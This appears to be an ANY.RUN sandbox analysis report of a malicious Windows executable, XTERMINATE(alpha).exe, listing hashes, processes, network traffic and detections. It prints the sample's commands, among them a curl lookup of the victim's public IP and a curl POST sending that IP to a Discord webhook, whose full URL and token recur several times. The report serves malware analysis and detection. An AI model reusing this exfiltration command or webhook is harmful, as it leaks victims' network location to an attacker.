File name:

XTERMINATE(alpha).exe

Full analysis: https://app.any.run/tasks/8c1729f3-7dd7-41ee-aa96-7cea7e28ab34
Verdict: Malicious activity
Analysis date: February 02, 2025, 01:53:30
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
discord
evasion
ims-api
generic
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (console) Intel 80386, for MS Windows, 5 sections
MD5:

0458AC58D9B4B0E5B94D4D0B03872F30

SHA1:

889C350C536431F18A74FFA0D76FC79CA72B10BA

SHA256:

2E7222F3F620E5A5B491CDF54A2682589E38644D32F127FECEFB3BDE1DE6EECA

SSDEEP:

3072:UCYa+0Nu6vQAkQ5S7JmyxCbBKhiTbMWozMqaQrP:NQLi8NiTbFQMqaSP

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  • MALICIOUS

    No malicious indicators.
  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • XTERMINATE(alpha).exe (PID: 6056)
      • cmd.exe (PID: 6148)
    • Executing commands from a ".bat" file

      • XTERMINATE(alpha).exe (PID: 6056)
    • Execution of CURL command

      • cmd.exe (PID: 6148)
    • Checks for external IP

      • svchost.exe (PID: 2192)
      • curl.exe (PID: 6184)
    • Possible usage of Discord/Telegram API has been detected (YARA)

      • XTERMINATE(alpha).exe (PID: 6056)
      • cmd.exe (PID: 6148)
    • Application launched itself

      • cmd.exe (PID: 6148)
  • INFO

    • Create files in a temporary directory

      • XTERMINATE(alpha).exe (PID: 6056)
    • Checks supported languages

      • XTERMINATE(alpha).exe (PID: 6056)
      • curl.exe (PID: 6184)
      • curl.exe (PID: 6220)
    • Execution of CURL command

      • cmd.exe (PID: 6168)
      • cmd.exe (PID: 6148)
    • Reads the computer name

      • curl.exe (PID: 6184)
      • curl.exe (PID: 6220)
    • Reads security settings of Internet Explorer

      • notepad.exe (PID: 4864)
    • Manual execution by a user

      • notepad.exe (PID: 4864)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

ims-api

(PID) Process(6056) XTERMINATE(alpha).exe
Discord-Webhook-Tokens (1)1333761039879110729/QNEL6-fCQ8vuegxI_wgU52Dnt-sPjtYmT6274zE-plwjkju8fkbfLh2kLRerB8vwZ2TE
Discord-Info-Links
1333761039879110729/QNEL6-fCQ8vuegxI_wgU52Dnt-sPjtYmT6274zE-plwjkju8fkbfLh2kLRerB8vwZ2TE
Get Webhook Infohttps://discord.com/api/webhooks/1333761039879110729/QNEL6-fCQ8vuegxI_wgU52Dnt-sPjtYmT6274zE-plwjkju8fkbfLh2kLRerB8vwZ2TE
(PID) Process(6148) cmd.exe
Discord-Webhook-Tokens (1)1333761039879110729/QNEL6-fCQ8vuegxI_wgU52Dnt-sPjtYmT6274zE-plwjkju8fkbfLh2kLRerB8vwZ2TE
Discord-Info-Links
1333761039879110729/QNEL6-fCQ8vuegxI_wgU52Dnt-sPjtYmT6274zE-plwjkju8fkbfLh2kLRerB8vwZ2TE
Get Webhook Infohttps://discord.com/api/webhooks/1333761039879110729/QNEL6-fCQ8vuegxI_wgU52Dnt-sPjtYmT6274zE-plwjkju8fkbfLh2kLRerB8vwZ2TE
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (41)
.exe | Win64 Executable (generic) (36.3)
.dll | Win32 Dynamic Link Library (generic) (8.6)
.exe | Win32 Executable (generic) (5.9)
.exe | Win16/32 Executable Delphi generic (2.7)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2019:07:30 08:52:45+00:00
ImageFileCharacteristics: No relocs, Executable, No line numbers, No symbols, 32-bit
PEType: PE32
LinkerVersion: 2.5
CodeSize: 70656
InitializedDataSize: 35328
UninitializedDataSize: -
EntryPoint: 0x1000
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows command line
No data.
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Total processes
134
Monitored processes
9
Malicious processes
2
Suspicious processes
0

Behavior graph

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start xterminate(alpha).exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs curl.exe curl.exe svchost.exe rundll32.exe no specs notepad.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
556\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exeXTERMINATE(alpha).exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2192C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
4864"C:\WINDOWS\System32\NOTEPAD.EXE" C:\Users\admin\AppData\Local\Temp\4B06.tmp\4B07.tmp\4B08.batC:\Windows\System32\notepad.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
6056"C:\Users\admin\AppData\Local\Temp\XTERMINATE(alpha).exe" C:\Users\admin\AppData\Local\Temp\XTERMINATE(alpha).exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Modules
Images
c:\users\admin\appdata\local\temp\xterminate(alpha).exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
ims-api
(PID) Process(6056) XTERMINATE(alpha).exe
Discord-Webhook-Tokens (1)1333761039879110729/QNEL6-fCQ8vuegxI_wgU52Dnt-sPjtYmT6274zE-plwjkju8fkbfLh2kLRerB8vwZ2TE
Discord-Info-Links
1333761039879110729/QNEL6-fCQ8vuegxI_wgU52Dnt-sPjtYmT6274zE-plwjkju8fkbfLh2kLRerB8vwZ2TE
Get Webhook Infohttps://discord.com/api/webhooks/1333761039879110729/QNEL6-fCQ8vuegxI_wgU52Dnt-sPjtYmT6274zE-plwjkju8fkbfLh2kLRerB8vwZ2TE
6148"C:\WINDOWS\sysnative\cmd" /c "C:\Users\admin\AppData\Local\Temp\4B06.tmp\4B07.tmp\4B08.bat C:\Users\admin\AppData\Local\Temp\XTERMINATE(alpha).exe"C:\Windows\System32\cmd.exe
XTERMINATE(alpha).exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
ims-api
(PID) Process(6148) cmd.exe
Discord-Webhook-Tokens (1)1333761039879110729/QNEL6-fCQ8vuegxI_wgU52Dnt-sPjtYmT6274zE-plwjkju8fkbfLh2kLRerB8vwZ2TE
Discord-Info-Links
1333761039879110729/QNEL6-fCQ8vuegxI_wgU52Dnt-sPjtYmT6274zE-plwjkju8fkbfLh2kLRerB8vwZ2TE
Get Webhook Infohttps://discord.com/api/webhooks/1333761039879110729/QNEL6-fCQ8vuegxI_wgU52Dnt-sPjtYmT6274zE-plwjkju8fkbfLh2kLRerB8vwZ2TE
6168C:\WINDOWS\system32\cmd.exe /c curl -s ifconfig.meC:\Windows\System32\cmd.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
6184curl -s ifconfig.meC:\Windows\System32\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
8.4.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\ucrtbase.dll
6220curl -X POST -H "Content-Type: application/json" -d "{\"content\":\"@everyone you got mail 216.24.216.33\"}" https://discord.com/api/webhooks/1333761039879110729/QNEL6-fCQ8vuegxI_wgU52Dnt-sPjtYmT6274zE-plwjkju8fkbfLh2kLRerB8vwZ2TEC:\Windows\System32\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
8.4.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\ucrtbase.dll
7012C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -EmbeddingC:\Windows\System32\rundll32.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll
Total events
1 144
Read events
1 144
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
0
Text files
1
Unknown types
0

Dropped files

PID
Process
Filename
Type
6056XTERMINATE(alpha).exeC:\Users\admin\AppData\Local\Temp\4B06.tmp\4B07.tmp\4B08.battext
MD5:DA98F11394836396A2E7AF4A55A49B17
SHA256:50D3EE1DFADE42906C943B2936D0AB31FF253275246E1315CA622327786B4D6E
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HTTP(S) requests
8
TCP/UDP connections
30
DNS requests
16
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
760
lsass.exe
GET
200
142.250.186.99:80
http://c.pki.goog/r/gsr1.crl
unknown
whitelisted
6184
curl.exe
GET
200
34.160.111.145:80
http://ifconfig.me/
unknown
shared
760
lsass.exe
GET
200
142.250.186.99:80
http://c.pki.goog/r/r4.crl
unknown
whitelisted
1176
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
5064
SearchApp.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
whitelisted
2424
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
whitelisted
6380
backgroundTaskHost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
whitelisted
2424
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
whitelisted
51.104.136.2:443
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6184
curl.exe
34.160.111.145:80
ifconfig.me
GOOGLE
US
shared
1356
svchost.exe
51.104.136.2:443
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6220
curl.exe
162.159.138.232:443
discord.com
CLOUDFLARENET
whitelisted
760
lsass.exe
142.250.186.99:80
c.pki.goog
GOOGLE
US
whitelisted
5064
SearchApp.exe
104.126.37.144:443
www.bing.com
Akamai International B.V.
DE
whitelisted
4
System
192.168.100.255:138
whitelisted
1176
svchost.exe
20.190.160.20:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1176
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
ifconfig.me
  • 34.160.111.145
shared
discord.com
  • 162.159.138.232
  • 162.159.136.232
  • 162.159.128.233
  • 162.159.135.232
  • 162.159.137.232
whitelisted
c.pki.goog
  • 142.250.186.99
whitelisted
www.bing.com
  • 104.126.37.144
  • 104.126.37.130
  • 104.126.37.128
  • 104.126.37.163
  • 104.126.37.139
  • 104.126.37.131
whitelisted
login.live.com
  • 20.190.160.20
  • 20.190.160.14
  • 40.126.32.72
  • 40.126.32.76
  • 20.190.160.22
  • 40.126.32.134
  • 20.190.160.17
  • 20.190.160.66
whitelisted
ocsp.digicert.com
  • 2.17.190.73
  • 2.23.77.188
whitelisted
go.microsoft.com
  • 184.30.18.9
whitelisted
settings-win.data.microsoft.com
  • 40.127.240.158
whitelisted
arc.msn.com
  • 20.223.35.26
whitelisted
fd.api.iris.microsoft.com
  • 20.223.36.55
whitelisted

Threats

PID
Process
Class
Message
2192
svchost.exe
Device Retrieving External IP Address Detected
INFO [ANY.RUN] External IP Lookup Domain (ifconfig .me)
6184
curl.exe
Device Retrieving External IP Address Detected
SUSPICIOUS [ANY.RUN] An IP address was received from the server as a result of an HTTP request
2192
svchost.exe
Misc activity
ET INFO Observed Discord Domain in DNS Lookup (discord .com)
6184
curl.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup Domain (ifconfig .me)
6220
curl.exe
Misc activity
ET INFO Observed Discord Domain (discord .com in TLS SNI)
No debug info